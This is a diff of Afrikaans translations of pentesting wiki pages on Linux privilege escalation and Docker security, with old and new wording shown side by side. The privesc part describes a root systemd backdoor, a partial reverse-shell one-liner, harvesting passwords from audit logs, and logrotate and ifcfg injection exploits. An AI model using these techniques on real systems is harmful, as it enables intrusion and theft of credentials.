Die konfigurasie sal aandui dat as jy probeer om in te log met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel met die een wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is, gaan vergelyk.
|
||||
Die konfigurasie sal aandui dat as jy probeer om aan te meld met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel met die een wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is, gaan vergelyk.
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om te **spring** via ssh **na 'n gasheer** en van daar af **na 'n ander** gasheer **te spring** **met** die **sleutel** wat in jou **begin gasheer** geleë is.
|
||||
SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om **te spring** via ssh **na 'n gasheer** en van daar **na 'n ander** gasheer **te spring** **met** die **sleutel** wat in jou **begin gasheer** geleë is.
|
||||
|
||||
Jy moet hierdie opsie in `$HOME/.ssh.config` soos volg stel:
|
||||
```
|
||||
@ -1156,7 +1160,7 @@ ForwardAgent yes
|
||||
```
|
||||
Let wel dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitskwessie is).
|
||||
|
||||
Die lêer `/etc/ssh_config` kan **oorskry** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\
|
||||
Die lêer `/etc/ssh_config` kan **oorskryf** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\
|
||||
Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat).
|
||||
|
||||
As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**:
|
||||
@ -1223,7 +1227,7 @@ ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
Group=root
|
||||
```
|
||||
Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin word.
|
||||
Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin.
|
||||
|
||||
### Kontroleer Gidsen
|
||||
|
||||
@ -1252,7 +1256,7 @@ done
|
||||
```bash
|
||||
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
|
||||
```
|
||||
### Sqlite DB lêrs
|
||||
### Sqlite DB lêrsels
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
@ -1288,7 +1292,7 @@ Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalat
|
||||
### Logs
|
||||
|
||||
As jy logs kan lees, mag jy in staat wees om **interessante/vertroulike inligting daarin te vind**. Hoe meer vreemd die log is, hoe meer interessant sal dit wees (waarskynlik).\
|
||||
Ook, sommige "**slegte**" geconfigureerde (backdoored?) **audit logs** mag jou toelaat om **wagwoorde** binne audit logs te **registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Ook, sommige "**slegte**" geconfigureerde (terugdeur?) **ouditlogs** mag jou toelaat om **wagwoorde** binne ouditlogs te **registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1323,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
```
|
||||
### Logrotate uitbuiting
|
||||
|
||||
'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer gidse potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige gids waar logrotasie toegepas word.
|
||||
'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer directories potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in directories soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige directory waar logrotasie toegepas word.
|
||||
|
||||
> [!NOTE]
|
||||
> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer
|
||||
@ -1332,17 +1336,17 @@ Meer gedetailleerde inligting oor die kwesbaarheid kan op hierdie bladsy gevind
|
||||
|
||||
Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie die logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met simboliese skakels te vervang.
|
||||
Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie die logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met symlinks te vervang.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Kwetsbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
As 'n gebruiker om enige rede in staat is om **te skryf** 'n `ifcf-<whatever>` skrip na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **stelsel pwned**.
|
||||
As 'n gebruiker om een of ander rede in staat is om 'n **skrywe** `ifcf-<whatever>` skrip na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **stelsel pwned**.
|
||||
|
||||
Netwerk skripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI lêers. Dit is egter \~sourced\~ op Linux deur Network Manager (dispatcher.d).
|
||||
|
||||
In my geval, die `NAME=` attribuut in hierdie netwerk skripte word nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel om die deel na die wit/leë spasie uit te voer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**.
|
||||
In my geval word die `NAME=` attribuut in hierdie netwerk skripte nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel om die deel na die wit/leë spasie uit te voer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**.
|
||||
|
||||
Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1356,7 +1360,7 @@ Die gids `/etc/init.d` is die huis van **scripts** vir System V init (SysVinit),
|
||||
|
||||
Aan die ander kant, `/etc/init` is geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu bekendgestel is, wat konfigurasie lêers gebruik vir diensbestuur take. Ten spyte van die oorgang na Upstart, word SysVinit scripts steeds saam met Upstart konfigurasies gebruik weens 'n kompatibiliteitslaag in Upstart.
|
||||
|
||||
**systemd** verskyn as 'n moderne inisialisasie en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon begin, automount bestuur, en stelsels staat snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur wysigings, wat die stelsels administrasie proses stroomlyn.
|
||||
**systemd** verskyn as 'n moderne inisialisering en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon begin, automount bestuur, en stelsels staat snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur wysigings, wat die stelsels administrasie proses stroomlyn.
|
||||
|
||||
## Ander Triks
|
||||
|
||||
@ -1385,7 +1389,7 @@ cisco-vmanage.md
|
||||
|
||||
## Meer hulp
|
||||
|
||||
[Statiese impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
[Statiese impacket binêre](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Linux/Unix Privesc Gereedskap
|
||||
|
||||
@ -1400,7 +1404,7 @@ cisco-vmanage.md
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Hersameling van meer scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
**Hervatting van meer scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -10,9 +10,9 @@ Die **Docker engine** gebruik die Linux-kern se **Namespaces** en **Cgroups** om
|
||||
|
||||
### Veilige Toegang tot Docker Engine
|
||||
|
||||
Die Docker engine kan plaaslik via 'n Unix-sok of afstandelik met HTTP toeganklik gemaak word. Vir afstandelike toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit en outentisering te verseker.
|
||||
Die Docker engine kan plaaslik via 'n Unix-soket of afstandelik met HTTP benader word. Vir afstandelike toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit en outentisering te verseker.
|
||||
|
||||
Die Docker engine luister standaard op die Unix-sok by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se opstartopsies gedefinieer in `/etc/default/docker`. Om afstandelike toegang tot die Docker API en kliënt te aktiveer, stel die Docker daemon bloot deur die volgende instellings by te voeg:
|
||||
Die Docker engine luister standaard op die Unix-soket by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se opstartopsies gedefinieer in `/etc/default/docker`. Om afstandelike toegang tot die Docker API en kliënt te aktiveer, stel die Docker daemon bloot deur die volgende instellings by te voeg:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
@ -30,7 +30,7 @@ Houer beelde kan in privaat of openbare repositories gestoor word. Docker bied v
|
||||
|
||||
- [**Docker Hub**](https://hub.docker.com): 'n Openbare registrasiediens van Docker.
|
||||
- [**Docker Registry**](https://github.com/docker/distribution): 'n Oopbronprojek wat gebruikers toelaat om hul eie registrasie te huisves.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registrasie-aanbod, wat rolgebaseerde gebruikersverifikasie en integrasie met LDAP-gidsdienste insluit.
|
||||
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registrasie-aanbod, wat rolgebaseerde gebruikersverifikasie en integrasie met LDAP-gidsdienste bied.
|
||||
|
||||
### Beeld Skandering
|
||||
|
||||
@ -74,8 +74,8 @@ Docker beeld handtekening verseker die sekuriteit en integriteit van beelde wat
|
||||
|
||||
- **Docker Inhoud Vertroue** maak gebruik van die Notary projek, gebaseer op The Update Framework (TUF), om beeld handtekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io).
|
||||
- Om Docker inhoud vertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie funksie is standaard afgeskakel in Docker weergawe 1.10 en later.
|
||||
- Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeld druk vereis die instelling van wagwoorde vir die wortel en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde sekuriteit. Meer besonderhede kan [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) gevind word.
|
||||
- Pogings om 'n ongetekende beeld te trek met inhoud vertroue geaktiveer, lei tot 'n "Geen vertrou data vir laaste" fout.
|
||||
- Met hierdie funksie geaktiveer, kan slegs onderteken beelde afgelaai word. Die aanvanklike beeld druk vereis die instelling van wagwoorde vir die wortel en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde sekuriteit. Meer besonderhede kan [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) gevind word.
|
||||
- Poging om 'n ongetekende beeld te trek met inhoud vertroue geaktiveer, lei tot 'n "Geen vertrou data vir laaste" fout.
|
||||
- Vir beeld druk na die eerste, vra Docker vir die deposito sleutel se wagwoord om die beeld te teken.
|
||||
|
||||
Om jou private sleutels te rugsteun, gebruik die opdrag:
|
||||
@ -90,7 +90,7 @@ Wanneer jy Docker-gashere verander, is dit nodig om die wortel- en repository-sl
|
||||
|
||||
<summary>Samevatting van Houer Sekuriteitskenmerke</summary>
|
||||
|
||||
**Hoof Proses Isolasie Kenmerke**
|
||||
**Hoof Proses Isolasiekenmerke**
|
||||
|
||||
In gecontaineriseerde omgewings is dit van kardinale belang om projekte en hul prosesse te isoleer vir sekuriteit en hulpbronbestuur. Hier is 'n vereenvoudigde verduideliking van sleutelkonsepte:
|
||||
|
||||
@ -98,17 +98,17 @@ In gecontaineriseerde omgewings is dit van kardinale belang om projekte en hul p
|
||||
|
||||
- **Doel**: Verseker isolasie van hulpbronne soos prosesse, netwerk, en lêerstelsels. Veral in Docker, hou namespaces 'n houer se prosesse apart van die gasheer en ander houers.
|
||||
- **Gebruik van `unshare`**: Die `unshare` opdrag (of die onderliggende syscall) word gebruik om nuwe namespaces te skep, wat 'n bykomende laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit.
|
||||
- **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om na die gasheer se standaard namespaces terug te keer nie. Om in die gasheer namespaces te dring, sou 'n mens tipies toegang tot die gasheer se `/proc` gids benodig, met `nsenter` vir toegang.
|
||||
- **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om na die gasheer se standaard namespaces terug te keer nie. Om die gasheer namespaces te penetreer, sou 'n mens tipies toegang tot die gasheer se `/proc` gids benodig, met `nsenter` vir toegang.
|
||||
|
||||
**Beheer Groepe (CGroups)**
|
||||
|
||||
- **Funksie**: Primêr gebruik vir die toewysing van hulpbronne onder prosesse.
|
||||
- **Sekuriteitsaspek**: CGroups self bied nie isolasie sekuriteit nie, behalwe vir die `release_agent` kenmerk, wat, indien verkeerd geconfigureer, potensieel misbruik kan word vir ongeoorloofde toegang.
|
||||
|
||||
**Vermogen Val**
|
||||
**Vermogenstoename**
|
||||
|
||||
- **Belangrikheid**: Dit is 'n noodsaaklike sekuriteitskenmerk vir proses isolasie.
|
||||
- **Funksionaliteit**: Dit beperk die aksies wat 'n wortel proses kan uitvoer deur sekere vermogens te laat val. Selfs al loop 'n proses met wortelregte, verhoed die gebrek aan die nodige vermogens dat dit bevoorregte aksies kan uitvoer, aangesien die syscalls sal misluk weens onvoldoende toestemmings.
|
||||
- **Belangrikheid**: Dit is 'n noodsaaklike sekuriteitskenmerk vir prosesisolatie.
|
||||
- **Funksionaliteit**: Dit beperk die aksies wat 'n wortelproses kan uitvoer deur sekere vermogens te laat val. Selfs al loop 'n proses met wortelregte, verhoed die gebrek aan die nodige vermogens dat dit bevoorregte aksies kan uitvoer, aangesien die syscalls sal misluk weens onvoldoende toestemmings.
|
||||
|
||||
Dit is die **oorblywende vermogens** nadat die proses die ander laat val het:
|
||||
```
|
||||
@ -116,7 +116,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
||||
```
|
||||
**Seccomp**
|
||||
|
||||
Dit is standaard in Docker geaktiveer. Dit help om **die syscalls** wat die proses kan aanroep, **nog verder te beperk**.\
|
||||
Dit is standaard geaktiveer in Docker. Dit help om **die syscalls** wat die proses kan aanroep, **nog verder te beperk**.\
|
||||
Die **standaard Docker Seccomp-profiel** kan gevind word in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
@ -129,7 +129,7 @@ Dit sal toelaat om vermoëns, syscalls, toegang tot lêers en vouers te verminde
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** is 'n kenmerk van die Linux-kern wat **kernhulpbronne** partitioneer sodat een stel **prosesse** **een stel hulpbronne** sien terwyl **'n ander** stel **prosesse** 'n **verskillende** stel hulpbronne sien. Die kenmerk werk deur die samelewing van die selfde namespace vir 'n stel hulpbronne en prosesse, maar daardie namespaces verwys na onderskeie hulpbronne. Hulpbronne kan in verskeie ruimtes bestaan.
|
||||
**Namespaces** is 'n kenmerk van die Linux-kern wat **kernhulpbronne** **verdeel** sodat een stel **prosesse** **een stel hulpbronne** sien terwyl **'n ander** stel **prosesse** 'n **ander** stel hulpbronne sien. Die kenmerk werk deur die samelewing van die selfde namespace vir 'n stel hulpbronne en prosesse, maar daardie namespaces verwys na verskillende hulpbronne. Hulpbronne kan in verskeie ruimtes bestaan.
|
||||
|
||||
Docker maak gebruik van die volgende Linux-kern Namespaces om Containere isolasie te bereik:
|
||||
|
||||
@ -196,9 +196,9 @@ apparmor.md
|
||||
- **Beleidstoepassing**: Dit handhaaf sekuriteitsbeleide wat definieer watter aksies 'n proses etiket op ander etikette binne die stelsel kan uitvoer.
|
||||
- **Houer Proses Etikette**: Wanneer houer enjinse houerprosesse inisieer, word hulle gewoonlik 'n beperkte SELinux-etiket, algemeen `container_t`, toegeken.
|
||||
- **Lêer Etikettering binne Houers**: Lêers binne die houer word gewoonlik as `container_file_t` geëtiketteer.
|
||||
- **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t` etiket slegs met lêers geëtiketteer as `container_file_t` kan interaksie hê (lees, skryf, voer uit).
|
||||
- **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t` etiket slegs met lêers wat as `container_file_t` geëtiketteer is, kan interaksie hê (lees, skryf, uitvoer).
|
||||
|
||||
Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gecompromitteer word, dit beperk is tot interaksie slegs met voorwerpe wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromies aansienlik beperk.
|
||||
Hierdie meganisme verseker dat selfs al is 'n proses binne 'n houer gecompromitteer, dit beperk is tot interaksie slegs met voorwerpe wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromies aansienlik beperk.
|
||||
|
||||
{{#ref}}
|
||||
../selinux.md
|
||||
@ -278,7 +278,7 @@ Dit is van kardinale belang om te vermy om geheime in Docker-beelde in te sluit
|
||||
|
||||
**Docker volumes** is 'n veiliger alternatief, wat aanbeveel word vir die toegang tot sensitiewe inligting. Hulle kan as 'n tydelike lêerstelsel in geheue gebruik word, wat die risiko's wat verband hou met `docker inspect` en logging verminder. egter, wortelgebruikers en diegene met `exec` toegang tot die houer mag steeds toegang tot die geheime hê.
|
||||
|
||||
**Docker geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir voorbeelde wat geheime tydens die beeldbou-fase benodig, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat die bou-snelheid verbeter en addisionele funksies bied.
|
||||
**Docker geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir voorbeelde wat geheime tydens die beeldbou-fase benodig, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat die bou spoed verbeter en addisionele funksies bied.
|
||||
|
||||
Om BuildKit te benut, kan dit op drie maniere geaktiveer word:
|
||||
|
||||
@ -290,7 +290,7 @@ BuildKit stel die gebruik van bou-tyd geheime met die `--secret` opsie moontlik,
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Vir geheime wat nodig is in 'n lopende houer, **Docker Compose en Kubernetes** bied robuuste oplossings. Docker Compose gebruik 'n `secrets` sleutel in die diensdefinisie om geheime lêers te spesifiseer, soos getoon in 'n `docker-compose.yml` voorbeeld:
|
||||
Vir geheime wat nodig is in 'n lopende houer, bied **Docker Compose en Kubernetes** robuuste oplossings. Docker Compose gebruik 'n `secrets` sleutel in die diensdefinisie om geheime lêers spesifiek aan te dui, soos getoon in 'n `docker-compose.yml` voorbeeld:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
@ -305,32 +305,36 @@ file: ./my_secret_file.txt
|
||||
```
|
||||
Hierdie konfigurasie stel die gebruik van geheime in staat wanneer dienste met Docker Compose begin word.
|
||||
|
||||
In Kubernetes-omgewings word geheime van nature ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rolgebaseerde Toegangsbeheer (RBAC) verbeter die sekuriteit van geheime bestuur, soortgelyk aan Docker Enterprise.
|
||||
In Kubernetes-omgewings word geheime van nature ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rolgebaseerde Toegangbeheer (RBAC) verbeter die sekuriteit van geheime bestuur, soortgelyk aan Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** is 'n toepassingskern, geskryf in Go, wat 'n substansiële gedeelte van die Linux-stelselsurface implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime genaamd `runsc` in wat 'n **isolasiegrens tussen die toepassing en die gasheer-kern** bied. Die `runsc` runtime integreer met Docker en Kubernetes, wat dit eenvoudig maak om sandboxed houers te laat loop.
|
||||
**gVisor** is 'n toepassingskern, geskryf in Go, wat 'n substansiële gedeelte van die Linux-stelselsurface implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime genaamd `runsc` in wat 'n **isolasiegrens tussen die toepassing en die gasheerkern** bied. Die `runsc` runtime integreer met Docker en Kubernetes, wat dit eenvoudig maak om sandboxed houers te laat loop.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
{{#endref}}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** is 'n oopbron-gemeenskap wat werk om 'n veilige houer-runtime te bou met liggewig virtuele masjiene wat soos houers voel en presteer, maar **sterker werklading-isolasie bied met behulp van hardeware virtualisering** tegnologie as 'n tweede laag van verdediging.
|
||||
**Kata Containers** is 'n oopbron-gemeenskap wat werk om 'n veilige houer runtime te bou met liggewig virtuele masjiene wat soos houers voel en presteer, maar **sterker werklading-isolasie bied met behulp van hardeware virtualisering** tegnologie as 'n tweede verdedigingslaag.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
{{#ref}}
|
||||
https://katacontainers.io/
|
||||
{{#endref}}
|
||||
|
||||
### Samevatting Wenke
|
||||
|
||||
- **Moet nie die `--privileged` vlag gebruik of 'n** [**Docker-soket binne die houer monteer**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker soket stel in staat om houers te laat ontstaan, so dit is 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te laat loop.
|
||||
- **Moet nie die `--privileged` vlag gebruik of 'n** [**Docker-soket binne die houer monteer**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker soket stel in staat om houers te spawn, so dit is 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te laat loop.
|
||||
- Moet **nie as root binne die houer loop nie. Gebruik 'n** [**ander gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **en** [**gebruikersnamespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Die root in die houer is dieselfde as op die gasheer tensy dit met gebruikersnamespaces herverdeel word. Dit is slegs liggies beperk deur, hoofsaaklik, Linux-namespaces, vermoëns, en cgroups.
|
||||
- [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en stel slegs diegene wat benodig word in** (`--cap-add=...`). Baie werklading het nie enige vermoëns nodig nie en om dit by te voeg verhoog die omvang van 'n potensiële aanval.
|
||||
- [**Gebruik die “no-new-privileges” sekuriteitsopsie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer voorregte verkry, byvoorbeeld deur suid-binaries.
|
||||
- [**Beperk hulpbronne beskikbaar aan die houer**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien beskerm teen ontkenning van diens-aanvalle.
|
||||
- [**Beperk hulpbronne beskikbaar aan die houer**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diens-aanvalle beskerm.
|
||||
- **Pas** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(of SELinux)** profiele aan om die aksies en syscalls wat beskikbaar is vir die houer tot die minimum vereiste te beperk.
|
||||
- **Gebruik** [**amptelike docker-beelde**](https://docs.docker.com/docker-hub/official_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie [terugdeure](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde erf of gebruik nie. Stoor ook root sleutels, wagwoorde op 'n veilige plek. Docker het planne om sleutels met UCP te bestuur.
|
||||
- **Bou gereeld** jou beelde om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.**
|
||||
- **Gebruik** [**amptelike docker beelde**](https://docs.docker.com/docker-hub/official_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde erf of gebruik nie. Stoor ook root sleutels, wagwoorde op 'n veilige plek. Docker het planne om sleutels met UCP te bestuur.
|
||||
- **Bou jou beelde gereeld** om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.**
|
||||
- Bestuur jou **geheime verstandig** sodat dit moeilik is vir die aanvaller om toegang daartoe te verkry.
|
||||
- As jy **die docker daemon blootstel, gebruik HTTPS** met kliënt- en bediener-authentisering.
|
||||
- As jy **die docker daemon blootstel, gebruik HTTPS** met kliënt- en bediener-sertifisering.
|
||||
- In jou Dockerfile, **gee voorkeur aan COPY eerder as ADD**. ADD onttrek outomaties gecomprimeerde lêers en kan lêers van URL's kopieer. COPY het nie hierdie vermoëns nie. Vermy waar moontlik die gebruik van ADD sodat jy nie kwesbaar is vir aanvalle deur middel van afgeleë URL's en Zip-lêers nie.
|
||||
- Het **afsonderlike houers vir elke mikro-diens**
|
||||
- **Moet nie ssh** binne die houer plaas nie, “docker exec” kan gebruik word om na die Houer te ssh.
|
||||
@ -338,7 +342,7 @@ In Kubernetes-omgewings word geheime van nature ondersteun en kan verder bestuur
|
||||
|
||||
## Docker Breakout / Privilege Escalation
|
||||
|
||||
As jy **binne 'n docker-houer** is of jy het toegang tot 'n gebruiker in die **docker-groep**, kan jy probeer om te **ontsnap en voorregte te verhoog**:
|
||||
As jy **binne 'n docker houer** is of jy het toegang tot 'n gebruiker in die **docker groep**, kan jy probeer om te **ontsnap en voorregte te verhoog**:
|
||||
|
||||
{{#ref}}
|
||||
docker-breakout-privilege-escalation/
|
||||
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
|
||||
|
||||
## Docker Authentication Plugin Bypass
|
||||
|
||||
As jy toegang het tot die docker soket of toegang het tot 'n gebruiker in die **docker-groep maar jou aksies word beperk deur 'n docker-auth-plugin**, kyk of jy dit kan **omseil:**
|
||||
As jy toegang het tot die docker soket of toegang het tot 'n gebruiker in die **docker groep maar jou aksies word beperk deur 'n docker auth plugin**, kyk of jy dit kan **omseil:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
## Hardening Docker
|
||||
|
||||
- Die gereedskap [**docker-bench-security**](https://github.com/docker/docker-bench-security) is 'n skrip wat vir dosyne algemene beste praktyke rondom die ontplooiing van Docker-houers in produksie nagaan. Die toetse is almal geoutomatiseer, en is gebaseer op die [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Jy moet die gereedskap vanaf die gasheer wat docker bestuur of vanaf 'n houer met genoeg voorregte uitvoer. Vind uit **hoe om dit in die README te loop:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
